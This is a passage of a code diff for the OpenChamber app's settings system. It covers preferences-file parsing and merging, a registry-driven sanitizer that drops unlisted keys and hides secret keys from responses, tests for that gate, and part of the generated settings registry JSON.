const parseStamp = (value) => (Number.isFinite(value) ? value : 0);
/**
* Parse the text of a preferences file. A missing file is the caller's case
* (ENOENT); anything that is not a version-1 document with a `fields` object
* is a failure, never an empty profile.
*
* An entry is `{ value, updatedAt }` for the base value, optionally with
* `surfaces: { [surface]: { value, updatedAt } }` for per-surface keys; a
* per-surface key that was only ever set from one surface kind has no base.
*/
export const parsePreferencesDocument = (raw) => {
let parsed;
try {
parsed = JSON.parse(raw);
} catch (error) {
return { ok: false, reason: `invalid JSON: ${error instanceof Error ? error.message : String(error)}` };
}
if (!isPlainObject(parsed) || parsed.version !== PREFERENCES_DOCUMENT_VERSION || !isPlainObject(parsed.fields)) {
return { ok: false, reason: 'not a version-1 preferences document' };
}
const fields = {};
for (const [key, entry] of Object.entries(parsed.fields)) {
if (!isPlainObject(entry) || (!('value' in entry) && !isPlainObject(entry.surfaces))) {
return { ok: false, reason: `field "${key}" is not a { value, updatedAt } entry` };
}
const next = { updatedAt: parseStamp(entry.updatedAt) };
if ('value' in entry) next.value = entry.value;
if (isPlainObject(entry.surfaces)) {
next.surfaces = {};
for (const [surface, surfaceEntry] of Object.entries(entry.surfaces)) {
if (!SETTINGS_SURFACES.includes(surface) || !isPlainObject(surfaceEntry) || !('value' in surfaceEntry)) {
return { ok: false, reason: `field "${key}" has an invalid surface entry "${surface}"` };
}
next.surfaces[surface] = { value: surfaceEntry.value, updatedAt: parseStamp(surfaceEntry.updatedAt) };
}
}
fields[key] = next;
}
return { ok: true, fields };
};
export const serializePreferencesDocument = (fields) => JSON.stringify({ version: PREFERENCES_DOCUMENT_VERSION, fields }, null, 2);
/**
* The plain key → value view of preference fields as one surface kind sees it:
* that surface's own value first, the base value otherwise; a key with neither
* is absent (the client keeps what it holds, or its default).
*/
export const flattenPreferences = (fields, surface = null) => {
const values = {};
for (const [key, entry] of Object.entries(fields)) {
const own = surface && entry.surfaces ? entry.surfaces[surface] : undefined;
if (own) {
values[key] = own.value;
} else if ('value' in entry) {
values[key] = entry.value;
}
}
return values;
};
/**
* The next preference fields for a merged document: every profile key it
* carries, stamped `now` when its value differs from what the file held and
* keeping the earlier stamp otherwise. Profile keys the document no longer
* carries are dropped (that is how a cleared key leaves the file).
*
* Per-surface keys: when the write comes from a surface kind (`surface`) and
* the key is among the keys that write changed (`changedKeys`), the value goes
* under `surfaces[surface]` and the base is left as it was; a per-surface key
* the write did not change keeps its whole entry (the document only carries
* that surface's resolved view of it). Without a surface (migrations, the
* one-time seed) the base is written.
*/
export const buildPreferencesFields = (previousFields, document, now, { surface = null, changedKeys = null } = {}) => {
const fields = {};
const changed = changedKeys ? new Set(changedKeys) : null;
for (const [key, value] of Object.entries(document)) {
if (value === undefined || !isProfileSettingsKey(key)) continue;
const previous = previousFields[key];
if (isPerSurfaceSettingsKey(key) && surface) {
if (changed && !changed.has(key)) {
if (previous) fields[key] = previous;
continue;
}
const previousOwn = previous?.surfaces?.[surface];
const own = previousOwn && sameValue(previousOwn.value, value) ? previousOwn : { value, updatedAt: now };
fields[key] = {
...(previous ?? { updatedAt: 0 }),
surfaces: { ...(previous?.surfaces ?? {}), [surface]: own },
};
continue;
}
if (previous && 'value' in previous && sameValue(previous.value, value)) {
fields[key] = previous;
} else {
fields[key] = { ...(previous ?? {}), value, updatedAt: now };
}
}
return fields;
};
/**
* The part of a merged document that belongs in `settings.json`: everything
* that is not a profile key. Device keys older builds persisted stay in place
* as a read-once seed for clients; the write path never adds new ones.
*/
export const instancePartOf = (document) => {
const instance = {};
for (const [key, value] of Object.entries(document)) {
if (value === undefined || isProfileSettingsKey(key)) continue;
instance[key] = value;
}
return instance;
};
/** The profile keys of a document (the part `instancePartOf` leaves out). */
export const profilePartOf = (document) => {
const profile = {};
for (const [key, value] of Object.entries(document)) {
if (value !== undefined && isProfileSettingsKey(key)) profile[key] = value;
}
return profile;
};
/**
* What `settings.json` holds after a write: the instance part plus a copy of
* the profile's base values. The copy is for builds that predate the split —
* they read only this file, so a rollback still finds the user's preferences.
* Current builds ignore it: `preferences.json` wins in the merged read.
*/
export const legacySettingsDocumentOf = (document, preferenceFields) => ({
...instancePartOf(document),
...flattenPreferences(preferenceFields),
});
/** The profile keys of a document, as they would seed a fresh preferences file. */
export const seedPreferencesFrom = (document, now) => buildPreferencesFields({}, document, now);
/**
* Synchronous merged read for server modules that consult one or two profile
* keys on a hot path (small-model resolution, goal/assist toggles). A missing
* or unreadable preferences file contributes nothing, and the caller's own
* default applies — the same "missing is not default" rule the clients use.
*/
export const readMergedSettingsSync = ({ fs, path, settingsFilePath }) => {
let settings = {};
try {
const parsed = JSON.parse(fs.readFileSync(settingsFilePath, 'utf8'));
if (isPlainObject(parsed)) settings = parsed;
} catch {
settings = {};
}
let preferences = {};
try {
const parsed = parsePreferencesDocument(fs.readFileSync(preferencesFilePathFor(settingsFilePath, path), 'utf8'));
if (parsed.ok) preferences = flattenPreferences(parsed.fields);
} catch {
preferences = {};
}
return { ...settings, ...preferences };
};
@@ -1,4 +1,32 @@
import { createRequire } from 'node:module';
import { isAgentMemoryFeatureAvailable } from '../agent-memory/feature-flag.js';
// Generated from packages/ui/src/lib/settings/registry.ts by
// `bun run settings-registry:generate`; `registry.test.ts` fails when stale.
// The server is plain ESM without a bundler, so the snapshot is read with
// `createRequire` (import attributes differ across the Node versions we run on).
const settingsRegistry = createRequire(import.meta.url)('./settings-registry.json');
/**
* Whether a client may persist this key through PUT /api/config/settings:
* it must be a registry key, not a server-computed flag, not a device field
* that only lives in the browser, and not one the desktop shell writes itself.
*/
const isPersistableSettingsKey = (key) => {
const field = settingsRegistry.fields[key];
if (!field) return false;
if (field.computed || field.local) return false;
if (field.owner === 'desktop-shell') return false;
return true;
};
/** Keys accepted on write but never returned by a read. */
const SECRET_SETTINGS_KEYS = Object.freeze(
Object.entries(settingsRegistry.fields)
.filter(([, field]) => field.secret === true)
.map(([key]) => key),
);
import {
DEFAULT_INPUT_HISTORY_LIMIT,
DEFAULT_INPUT_HISTORY_SCOPE,
@@ -18,7 +46,6 @@ export const createSettingsHelpers = (dependencies) => {
normalizeManagedRemoteTunnelHostname,
normalizeManagedRemoteTunnelPresets,
normalizeManagedRemoteTunnelPresetTokens,
sanitizeTypographySizesPartial,
normalizeStringArray,
sanitizeModelRefs,
sanitizeSkillCatalogs,
@@ -316,9 +343,6 @@ export const createSettingsHelpers = (dependencies) => {
if (typeof candidate.monoFont === 'string' && candidate.monoFont.length > 0) {
result.monoFont = candidate.monoFont;
}
if (typeof candidate.markdownDisplayMode === 'string' && candidate.markdownDisplayMode.length > 0) {
result.markdownDisplayMode = candidate.markdownDisplayMode;
}
if (typeof candidate.githubClientId === 'string') {
const trimmed = candidate.githubClientId.trim();
if (trimmed.length > 0) {
@@ -334,6 +358,45 @@ export const createSettingsHelpers = (dependencies) => {
if (typeof candidate.showReasoningTraces === 'boolean') {
result.showReasoningTraces = candidate.showReasoningTraces;
}
if (typeof candidate.streamingAutoFollowEnabled === 'boolean') {
result.streamingAutoFollowEnabled = candidate.streamingAutoFollowEnabled;
}
if (typeof candidate.codeBlockLineWrap === 'boolean') {
result.codeBlockLineWrap = candidate.codeBlockLineWrap;
}
if (typeof candidate.autoSaveEnabled === 'boolean') {
result.autoSaveEnabled = candidate.autoSaveEnabled;
}
if (typeof candidate.diffWrapLines === 'boolean') {
result.diffWrapLines = candidate.diffWrapLines;
}
if (typeof candidate.persistChatDraft === 'boolean') {
result.persistChatDraft = candidate.persistChatDraft;
}
if (typeof candidate.allowPromptingSubagentSessions === 'boolean') {
result.allowPromptingSubagentSessions = candidate.allowPromptingSubagentSessions;
}
if (typeof candidate.showOpenCodeRestartConfirm === 'boolean') {
result.showOpenCodeRestartConfirm = candidate.showOpenCodeRestartConfirm;
}
if (typeof candidate.sessionTabsEnabled === 'boolean') {
result.sessionTabsEnabled = candidate.sessionTabsEnabled;
}
if (typeof candidate.largeTextPasteBehavior === 'string') {
const mode = candidate.largeTextPasteBehavior.trim();
if (mode === 'ask' || mode === 'attach' || mode === 'inline') {
result.largeTextPasteBehavior = mode;
}
}
if (typeof candidate.fileEditorKeymap === 'string') {
const mode = candidate.fileEditorKeymap.trim();
if (mode === 'default' || mode === 'vim') {
result.fileEditorKeymap = mode;
}
}
if (Array.isArray(candidate.providerOrder)) {
result.providerOrder = normalizeStringArray(candidate.providerOrder);
}
if (typeof candidate.sessionRecapEnabled === 'boolean') {
result.sessionRecapEnabled = candidate.sessionRecapEnabled;
}
@@ -455,11 +518,6 @@ export const createSettingsHelpers = (dependencies) => {
result.managedRemoteTunnelSelectedPresetId = id || undefined;
}
const typography = sanitizeTypographySizesPartial(candidate.typographySizes);
if (typography) {
result.typographySizes = typography;
}
if (typeof candidate.defaultModel === 'string') {
const trimmed = candidate.defaultModel.trim();
result.defaultModel = trimmed.length > 0 ? trimmed : undefined;
@@ -505,14 +563,6 @@ export const createSettingsHelpers = (dependencies) => {
const trimmed = candidate.zenModel.trim();
result.zenModel = trimmed.length > 0 ? trimmed : undefined;
}
if (typeof candidate.gitProviderId === 'string') {
const trimmed = candidate.gitProviderId.trim();
result.gitProviderId = trimmed.length > 0 ? trimmed : undefined;
}
if (typeof candidate.gitModelId === 'string') {
const trimmed = candidate.gitModelId.trim();
result.gitModelId = trimmed.length > 0 ? trimmed : undefined;
}
if (typeof candidate.pwaAppName === 'string') {
result.pwaAppName = normalizePwaAppName(candidate.pwaAppName, undefined);
}
@@ -525,12 +575,6 @@ export const createSettingsHelpers = (dependencies) => {
result.mobileKeyboardMode = mode;
}
}
if (typeof candidate.toolCallExpansion === 'string') {
const mode = candidate.toolCallExpansion.trim();
if (mode === 'collapsed' || mode === 'activity' || mode === 'detailed' || mode === 'changes') {
result.toolCallExpansion = mode;
}
}
if (typeof candidate.inputSpellcheckEnabled === 'boolean') {
result.inputSpellcheckEnabled = candidate.inputSpellcheckEnabled;
}
@@ -622,9 +666,6 @@ export const createSettingsHelpers = (dependencies) => {
if (typeof candidate.promptNavigatorEnabled === 'boolean') {
result.promptNavigatorEnabled = candidate.promptNavigatorEnabled;
}
if (typeof candidate.expandedEditorToolbar === 'boolean') {
result.expandedEditorToolbar = candidate.expandedEditorToolbar;
}
if (typeof candidate.wideChatLayoutEnabled === 'boolean') {
result.wideChatLayoutEnabled = candidate.wideChatLayoutEnabled;
}
@@ -727,11 +768,6 @@ export const createSettingsHelpers = (dependencies) => {
}
}
// Message limit — single setting for fetch / trim / Load More chunk
if (typeof candidate.messageLimit === 'number' && Number.isFinite(candidate.messageLimit)) {
result.messageLimit = Math.max(10, Math.min(500, Math.round(candidate.messageLimit)));
}
const skillCatalogs = sanitizeSkillCatalogs(candidate.skillCatalogs);
if (skillCatalogs) {
result.skillCatalogs = skillCatalogs;
@@ -915,6 +951,16 @@ export const createSettingsHelpers = (dependencies) => {
}
}
// The registry is the last word on what a client may persist: a key the
// code above still names but the registry no longer lists is dropped here,
// so the two cannot drift apart silently (settings-helpers.test.js checks
// the other direction).
for (const key of Object.keys(result)) {
if (!isPersistableSettingsKey(key)) {
delete result[key];
}
}
return result;
};
@@ -925,13 +971,6 @@ export const createSettingsHelpers = (dependencies) => {
? current.securityScopedBookmarks
: [];
const nextTypographySizes = changes.typographySizes
? {
...(current.typographySizes || {}),
...changes.typographySizes
}
: current.typographySizes;
const next = {
...current,
...changes,
@@ -940,7 +979,6 @@ export const createSettingsHelpers = (dependencies) => {
baseBookmarks.filter((entry) => typeof entry === 'string' && entry.length > 0)
)
),
typographySizes: nextTypographySizes
};
return next;
@@ -948,9 +986,12 @@ export const createSettingsHelpers = (dependencies) => {
const formatSettingsResponse = (settings) => {
const sanitized = sanitizeSettingsUpdate(settings);
delete sanitized.managedRemoteTunnelToken;
for (const key of SECRET_SETTINGS_KEYS) {
delete sanitized[key];
}
const bookmarks = normalizeStringArray(settings.securityScopedBookmarks);
const hasManagedRemoteTunnelToken = typeof settings?.managedRemoteTunnelToken === 'string' && settings.managedRemoteTunnelToken.trim().length > 0;
const hasDesktopUiPassword = typeof settings?.desktopUiPassword === 'string' && settings.desktopUiPassword.trim().length > 0;
const pwaAppName = normalizePwaAppName(settings?.pwaAppName, '');
const pwaOrientation = normalizePwaOrientation(settings?.pwaOrientation, 'system');
const mobileKeyboardMode = normalizeMobileKeyboardMode(settings?.mobileKeyboardMode, 'native');
@@ -960,6 +1001,7 @@ export const createSettingsHelpers = (dependencies) => {
return {
...sanitized,
hasManagedRemoteTunnelToken,
hasDesktopUiPassword,
// Tells the client whether agent memory exists in this build at all, so
// its settings row and panel tab can be absent rather than merely off.
agentMemoryFeatureAvailable: isAgentMemoryFeatureAvailable(),
@@ -970,7 +1012,6 @@ export const createSettingsHelpers = (dependencies) => {
inputHistoryLimit,
securityScopedBookmarks: bookmarks,
pinnedDirectories: normalizeStringArray(settings.pinnedDirectories),
typographySizes: sanitizeTypographySizesPartial(settings.typographySizes),
...(process.env.OPENCHAMBER_RUNTIME === 'desktop'
? {
desktopLanAccessActive: process.env.OPENCHAMBER_DESKTOP_LAN_ACCESS_ACTIVE === 'true',
@@ -1,5 +1,5 @@
import { execFileSync } from 'node:child_process';
import { mkdirSync, mkdtempSync, readdirSync, rmSync } from 'node:fs';
import { mkdirSync, mkdtempSync, readdirSync, readFileSync, rmSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { dirname, join } from 'node:path';
import { fileURLToPath, pathToFileURL } from 'node:url';
@@ -724,3 +724,155 @@ describe('settings helpers', () => {
});
});
});
describe('settings registry gate', () => {
const registryPath = join(dirname(testFilePath), 'settings-registry.json');
const registry = JSON.parse(readFileSync(registryPath, 'utf8'));
const persistableKeys = Object.entries(registry.fields)
.filter(([, field]) => !field.computed && !field.local && field.owner !== 'desktop-shell')
.map(([key]) => key);
// One valid value per persistable registry key. The test below fails when a
// key is added to the registry without a line here, and when the sanitizer
// stops accepting a key the registry still lists — that is the drift the
// registry exists to end.
const validValues = {
themeId: 'openchamber-dark', useSystemTheme: true, themeVariant: 'dark', lightThemeId: 'openchamber-light', darkThemeId: 'openchamber-dark',
splashBgLight: '#fff', splashFgLight: '#000', splashBgDark: '#000', splashFgDark: '#fff',
lastDirectory: '/home/testuser/project', homeDirectory: '/home/testuser', opencodeBinary: '/usr/local/bin/opencode',
projects: [{ id: 'p', path: '/home/testuser/project' }], activeProjectId: 'p',
securityScopedBookmarks: ['bookmark'], pinnedDirectories: ['/home/testuser/project'],
desktopLanAccessEnabled: true, desktopKeepAwakeEnabled: true, desktopMinimizeToTrayEnabled: true, desktopMacMenuBarEnabled: true,
desktopUiPassword: 'secret', githubClientId: 'client', githubScopes: 'repo', skillCatalogs: [{ id: 'c', label: 'C', source: 'https://x' }],
defaultGitIdentityId: 'global', permissionAutoAccept: { sessions: { s: true }, revision: 1 },
agentControlToolEnabled: true, agentWebToolEnabled: true, agentMemoryToolEnabled: true, openCodeUpdateToastDismissedVersion: '1.0.0',
autoDeleteEnabled: true, autoDeleteAfterDays: 30, sessionRetentionAction: 'archive', terminalShell: 'zsh', terminalLoginShells: ['zsh'],
openInAppId: 'vscode', dictationEnabled: true, sttProvider: 'local', sttServerUrl: 'http://localhost:8001/v1', sttModel: 'm', sttLocalModel: 'm', sttLanguage: 'en',
tunnelProvider: 'cloudflare', tunnelMode: 'quick', tunnelBootstrapTtlMs: 600000, tunnelSessionTtlMs: 86400000, managedLocalTunnelConfigPath: '/tmp/x',
managedRemoteTunnelHostname: 'x.example', managedRemoteTunnelToken: 'token', managedRemoteTunnelPresets: [{ id: 'a', name: 'A', hostname: 'a.example' }],
managedRemoteTunnelSelectedPresetId: 'a', managedRemoteTunnelPresetTokens: { a: 'token' },
sidebarProjectDisplayMode: 'all', sidebarSessionGroupingMode: 'flat', sidebarProjectSortOrder: 'manual', sidebarShowRecentSection: true,
workStatusPanelEnabled: true, workStatusHiddenSections: ['mcp'], workStatusHiddenSectionsExplicit: true,
showReasoningTraces: true, streamingAutoFollowEnabled: true, collapsibleThinkingBlocks: true, showTextJustificationActivity: true,
chatRenderMode: 'live', activityRenderMode: 'summary', mermaidRenderingMode: 'svg', userMessageRenderingMode: 'markdown', collapsibleUserMessages: true,
stickyUserHeader: true, promptNavigatorEnabled: true, wideChatLayoutEnabled: true, showSplitAssistantMessageActions: true, showToolFileIcons: true,
codeBlockLineWrap: true, showTurnChangedFiles: true, showExpandedBashTools: true, showExpandedEditTools: true, toolJsonViewMode: 'raw',
timeFormatPreference: '24h', weekStartPreference: 'monday', messageStreamTransport: 'ws', diffLayoutPreference: 'inline', diffWrapLines: true,
gitChangesViewMode: 'tree', gitmojiEnabled: true, defaultFileViewerPreview: true, directoryShowHidden: true, filesViewShowGitignored: true,
fileEditorKeymap: 'vim', autoSaveEnabled: true, autoCreateWorktree: true, sessionTabsEnabled: true, showOpenCodeRestartConfirm: true,
allowPromptingSubagentSessions: true, inputSpellcheckEnabled: true, enterToSend: true, enterToSendConfigured: true, persistChatDraft: true,
largeTextPasteBehavior: 'attach', followUpBehavior: 'steer', queueModeEnabled: true, inputHistoryScope: 'global', inputHistoryLimit: 40,
draftStarters: [{ type: 'command', name: 'plan-feature' }], draftStartersVisible: true, draftStartersCraftGoalAdded: true, draftStartersScheduleTaskAdded: true,
fontSize: 100, terminalFontSize: 14, editorFontSize: 14, uiFont: 'inter', monoFont: 'jetbrains-mono', padding: 100, cornerRadius: 8,
shortcutOverrides: { 'chat.send': 'mod+enter' },
defaultModel: 'anthropic/claude', defaultVariant: 'high', defaultAgent: 'build', smallModelUseDefault: false, smallModelOverride: 'anthropic/haiku',
walkthroughModelOverride: 'anthropic/claude', zenModel: 'zen/model',
favoriteModels: [{ providerID: 'anthropic', modelID: 'claude' }], hiddenModels: [{ providerID: 'openai', modelID: 'gpt' }], collapsedModelProviders: ['openai'],
recentModels: [{ providerID: 'anthropic', modelID: 'claude' }], recentAgents: ['build'], recentEfforts: { 'anthropic/claude': ['high'] }, providerOrder: ['anthropic'],
sessionRecapEnabled: true, sessionSuggestionEnabled: true, sessionGoalEnabled: true, sessionGoalDefaultBudgetEnabled: true, sessionGoalDefaultBudget: 5,
summarizeLastMessage: true, summaryThreshold: 100, summaryLength: 50, maxLastMessageLength: 200, showDeletionDialog: true,
nativeNotificationsEnabled: true, notificationMode: 'always', notifyOnSubtasks: true, notifyOnCompletion: true, notifyOnError: true, notifyOnQuestion: true,
notificationTemplates: { completion: { title: 't', message: 'm' } }, showOpenCodeUpdateNotifications: true, reportUsage: true,
usageDisplayMode: 'usage', usageDropdownProviders: ['anthropic'], usageSelectedModels: { anthropic: ['claude'] }, usageCollapsedFamilies: { anthropic: ['f'] },
usageExpandedFamilies: { anthropic: ['f'] }, usageModelGroups: { anthropic: { customGroups: [{ id: 'g', label: 'G', models: ['claude'], order: 0 }] } },
globalBehaviorPrompt: 'Be brief.', responseStyleEnabled: true, responseStylePreset: 'concise', responseStyleCustomInstructions: 'x', optimizeSystemPrompt: true,
pwaAppName: 'OpenChamber', pwaOrientation: 'portrait', mobileKeyboardMode: 'native', desktopWindowControlsPosition: 'left', desktopWindowControlsStyle: 'classic',
inputBarOffset: 10,
};
it('accepts a valid value for every persistable registry key (no server-side drift)', () => {
// The shared test helpers stub the injected list sanitizers to `undefined`
// (they are covered by their own suites); here they must pass values through
// so a key is judged by the sanitizer's own branch, not by a stub.
const helpers = createSettingsHelpers({
normalizePathForPersistence: (value) => value,
normalizeDirectoryPath: (value) => value,
normalizeTunnelBootstrapTtlMs: (value) => value,
normalizeTunnelSessionTtlMs: (value) => value,
normalizeTunnelProvider: (value) => value,
normalizeTunnelMode: (value) => value,
normalizeOptionalPath: (value) => value,
normalizeManagedRemoteTunnelHostname: (value) => value,
normalizeManagedRemoteTunnelPresets: (value) => value,
normalizeManagedRemoteTunnelPresetTokens: (value) => value,
normalizeStringArray: (input) => input,
sanitizeModelRefs: (value) => value,
sanitizeSkillCatalogs: (value) => value,
sanitizeProjects: (value) => value,
});
const missingFixture = persistableKeys.filter((key) => !(key in validValues));
expect(missingFixture).toEqual([]);
const rejected = persistableKeys.filter((key) => {
const result = helpers.sanitizeSettingsUpdate({ [key]: validValues[key] });
// `queueModeEnabled` is absorbed into `followUpBehavior` on purpose.
const landedAs = key === 'queueModeEnabled' ? 'followUpBehavior' : key;
return result[landedAs] === undefined;
});
expect(rejected).toEqual([]);
});
it('drops keys the registry does not list, computed flags, and desktop-shell-owned keys', () => {
const helpers = createTestHelpers();
expect(helpers.sanitizeSettingsUpdate({
markdownDisplayMode: 'raw',
toolCallExpansion: 'collapsed',
expandedEditorToolbar: true,
typographySizes: { base: 14 },
gitProviderId: 'anthropic',
gitModelId: 'claude',
messageLimit: 200,
agentMemoryFeatureAvailable: true,
desktopHosts: [],
notARealKey: 1,
})).toEqual({});
});
it('never returns secret keys from a formatted response', () => {
const helpers = createTestHelpers();
const secretKeys = Object.entries(registry.fields).filter(([, field]) => field.secret).map(([key]) => key);
expect(secretKeys).toContain('managedRemoteTunnelToken');
expect(secretKeys).toContain('desktopUiPassword');
expect(secretKeys).toContain('managedRemoteTunnelPresetTokens');
const response = helpers.formatSettingsResponse({
managedRemoteTunnelToken: 'token',
desktopUiPassword: 'pw',
managedRemoteTunnelPresetTokens: { a: 'tok' },
themeId: 'x',
});
for (const key of secretKeys) {
expect(response).not.toHaveProperty(key);
}
expect(response.hasManagedRemoteTunnelToken).toBe(true);
expect(response.hasDesktopUiPassword).toBe(true);
expect(helpers.formatSettingsResponse({ desktopUiPassword: '' }).hasDesktopUiPassword).toBe(false);
});
it('accepts the newly shared profile fields', () => {
const helpers = createTestHelpersWithRealSanitizers();
expect(helpers.sanitizeSettingsUpdate({
providerOrder: ['b', 'a', 'a'],
diffWrapLines: true,
persistChatDraft: false,
largeTextPasteBehavior: 'inline',
fileEditorKeymap: 'vim',
allowPromptingSubagentSessions: true,
showOpenCodeRestartConfirm: false,
codeBlockLineWrap: true,
streamingAutoFollowEnabled: false,
autoSaveEnabled: false,
})).toEqual({
providerOrder: ['b', 'a'],
diffWrapLines: true,
persistChatDraft: false,
largeTextPasteBehavior: 'inline',
fileEditorKeymap: 'vim',
allowPromptingSubagentSessions: true,
showOpenCodeRestartConfirm: false,
codeBlockLineWrap: true,
streamingAutoFollowEnabled: false,
autoSaveEnabled: false,
});
expect(helpers.sanitizeSettingsUpdate({ largeTextPasteBehavior: 'maybe', fileEditorKeymap: 'emacs' })).toEqual({});
});
});
@@ -0,0 +1,743 @@
{
"version": 1,
"fields": {
"themeId": {
"scope": "profile",
"perSurface": true
},
"useSystemTheme": {
"scope": "profile",
"perSurface": true
},
"themeVariant": {
"scope": "profile",
"derived": true
},
"lightThemeId": {
"scope": "profile",
"perSurface": true
},
"darkThemeId": {
"scope": "profile",
"perSurface": true
},
"lastDirectory": {
"scope": "instance",
"adopt": "bootstrap-only"
},
"homeDirectory": {
"scope": "instance"
},
"opencodeBinary": {
"scope": "instance"
},
"projects": {
"scope": "instance"
},
"activeProjectId": {
"scope": "instance",
"adopt": "bootstrap-only"
},
"securityScopedBookmarks": {
"scope": "instance",
"surfaces": [
"desktop"
]
},
"pinnedDirectories": {
"scope": "instance"
},
"desktopLanAccessEnabled": {
"scope": "instance",
"surfaces": [
"desktop"
]
},
"desktopKeepAwakeEnabled": {
"scope": "instance",
"surfaces": [
"desktop"
]
},
"desktopMinimizeToTrayEnabled": {
"scope": "instance",
"surfaces": [
"desktop"
]
},
"desktopMacMenuBarEnabled": {
"scope": "instance",
"surfaces": [
"desktop"
]
},
"desktopUiPassword": {
"scope": "instance",
"surfaces": [
"desktop"
],
"secret": true
},
"hasDesktopUiPassword": {
"scope": "instance",
"surfaces": [
"desktop"
],
"computed": true
},
"desktopLanAccessActive": {
"scope": "instance",
"surfaces": [
"desktop"
],
"computed": true
},
"desktopLanAccessBlockedReason": {
"scope": "instance",
"surfaces": [
"desktop"
],
"computed": true
},
"githubClientId": {
"scope": "instance"
},
"githubScopes": {
"scope": "instance"
},
"skillCatalogs": {
"scope": "instance"
},
"defaultGitIdentityId": {
"scope": "instance"
},
"permissionAutoAccept": {
"scope": "instance"
},
"agentControlToolEnabled": {
"scope": "instance"
},
"agentWebToolEnabled": {
"scope": "instance"
},
"agentMemoryToolEnabled": {
"scope": "instance"
},
"agentMemoryFeatureAvailable": {
"scope": "instance",
"computed": true
},
"openCodeUpdateToastDismissedVersion": {
"scope": "instance"
},
"autoDeleteEnabled": {
"scope": "instance"
},
"autoDeleteAfterDays": {
"scope": "instance"
},
"sessionRetentionAction": {
"scope": "instance"
},
"terminalShell": {
"scope": "instance"
},
"terminalLoginShells": {
"scope": "instance"
},
"openInAppId": {
"scope": "instance"
},
"dictationEnabled": {
"scope": "profile"
},
"sttProvider": {
"scope": "instance"
},
"sttServerUrl": {
"scope": "instance"
},
"sttModel": {
"scope": "instance"
},
"sttLocalModel": {
"scope": "instance"
},
"sttLanguage": {
"scope": "profile"
},
"tunnelProvider": {
"scope": "instance"
},
"tunnelMode": {
"scope": "instance"
},
"tunnelBootstrapTtlMs": {
"scope": "instance"
},
"tunnelSessionTtlMs": {
"scope": "instance"
},
"managedLocalTunnelConfigPath": {
"scope": "instance"
},
"managedRemoteTunnelHostname": {
"scope": "instance"
},
"managedRemoteTunnelToken": {
"scope": "instance",
"secret": true
},
"hasManagedRemoteTunnelToken": {
"scope": "instance",
"computed": true
},
"managedRemoteTunnelPresets": {
"scope": "instance"
},
"managedRemoteTunnelSelectedPresetId": {
"scope": "instance"
},
"managedRemoteTunnelPresetTokens": {
"scope": "instance",
"secret": true
},
"sidebarProjectDisplayMode": {
"scope": "profile"
},
"sidebarSessionGroupingMode": {
"scope": "profile"
},
"sidebarProjectSortOrder": {
"scope": "profile"
},
"sidebarShowRecentSection": {
"scope": "profile"
},
"workStatusPanelEnabled": {
"scope": "profile"
},
"workStatusHiddenSections": {
"scope": "profile"
},
"workStatusHiddenSectionsExplicit": {
"scope": "profile"
},
"showReasoningTraces": {
"scope": "profile"
},
"streamingAutoFollowEnabled": {
"scope": "profile",
"perSurface": true
},
"collapsibleThinkingBlocks": {
"scope": "profile"
},
"showTextJustificationActivity": {
"scope": "profile"
},
"chatRenderMode": {
"scope": "profile"
},
"activityRenderMode": {
"scope": "profile"
},
"mermaidRenderingMode": {
"scope": "profile"
},
"userMessageRenderingMode": {
"scope": "profile"
},
"collapsibleUserMessages": {
"scope": "profile"
},
"stickyUserHeader": {
"scope": "profile",
"perSurface": true
},
"promptNavigatorEnabled": {
"scope": "profile",
"perSurface": true
},
"wideChatLayoutEnabled": {
"scope": "profile",
"perSurface": true
},
"showSplitAssistantMessageActions": {
"scope": "profile"
},
"showToolFileIcons": {
"scope": "profile"
},
"codeBlockLineWrap": {
"scope": "profile"
},
"showTurnChangedFiles": {
"scope": "profile"
},
"showExpandedBashTools": {
"scope": "profile"
},
"showExpandedEditTools": {
"scope": "profile"
},
"toolJsonViewMode": {
"scope": "profile"
},
"timeFormatPreference": {
"scope": "profile"
},
"weekStartPreference": {
"scope": "profile"
},
"messageStreamTransport": {
"scope": "profile"
},
"diffLayoutPreference": {
"scope": "profile"
},
"diffWrapLines": {
"scope": "profile"
},
"gitChangesViewMode": {
"scope": "profile"
},
"gitmojiEnabled": {
"scope": "profile"
},
"defaultFileViewerPreview": {
"scope": "profile"
},
"directoryShowHidden": {
"scope": "profile"
},
"filesViewShowGitignored": {
"scope": "profile"
},
"fileEditorKeymap": {
"scope": "profile"
},
"autoSaveEnabled": {
"scope": "profile"
},
"autoCreateWorktree": {
"scope": "profile"
},
"sessionTabsEnabled": {
"scope": "profile",
"surfaces": [
"web",
"desktop",
"vscode"
]
},
"showOpenCodeRestartConfirm": {
"scope": "profile"
},
"allowPromptingSubagentSessions": {
"scope": "profile"
},
"inputSpellcheckEnabled": {
"scope": "profile"
},
"enterToSend": {
"scope": "profile"
},
"enterToSendConfigured": {
"scope": "profile"
},
"persistChatDraft": {
"scope": "profile"
},
"largeTextPasteBehavior": {
"scope": "profile"
},
"followUpBehavior": {
"scope": "profile"
},
"queueModeEnabled": {
"scope": "profile"
},
"inputHistoryScope": {
"scope": "profile"
},
"inputHistoryLimit": {
"scope": "profile"
},
"draftStarters": {
"scope": "profile"
},
"draftStartersVisible": {
"scope": "profile"
},
"draftStartersCraftGoalAdded": {
"scope": "profile"
},
"draftStartersScheduleTaskAdded": {
"scope": "profile"
},
"fontSize": {
"scope": "profile",
"perSurface": true
},
"terminalFontSize": {
"scope": "profile",
"perSurface": true
},
"editorFontSize": {
"scope": "profile",
"perSurface": true
},
"uiFont": {
"scope": "profile"
},
"monoFont": {
"scope": "profile"
},
"padding": {
"scope": "profile",
"perSurface": true
},
"cornerRadius": {
"scope": "profile",
"perSurface": true
},
"shortcutOverrides": {
"scope": "profile"
},
"defaultModel": {
"scope": "profile"
},
"defaultVariant": {
"scope": "profile"
},
"defaultAgent": {
"scope": "profile"
},
"smallModelUseDefault": {
"scope": "profile"
},
"smallModelOverride": {
"scope": "profile"
},
"walkthroughModelOverride": {
"scope": "profile"
},
"zenModel": {
"scope": "profile"
},
"favoriteModels": {
"scope": "profile"
},
"hiddenModels": {
"scope": "profile"
},
"collapsedModelProviders": {
"scope": "profile"
},
"recentModels": {
"scope": "profile"
},
"recentAgents": {
"scope": "profile"
},
"recentEfforts": {
"scope": "profile"
},
"providerOrder": {
"scope": "profile"
},
"sessionRecapEnabled": {
"scope": "profile"
},
"sessionSuggestionEnabled": {
"scope": "profile"
},
"sessionGoalEnabled": {
"scope": "profile"
},
"sessionGoalDefaultBudgetEnabled": {
"scope": "profile"
},
"sessionGoalDefaultBudget": {
"scope": "profile"
},
"summarizeLastMessage": {
"scope": "profile"
},
"summaryThreshold": {
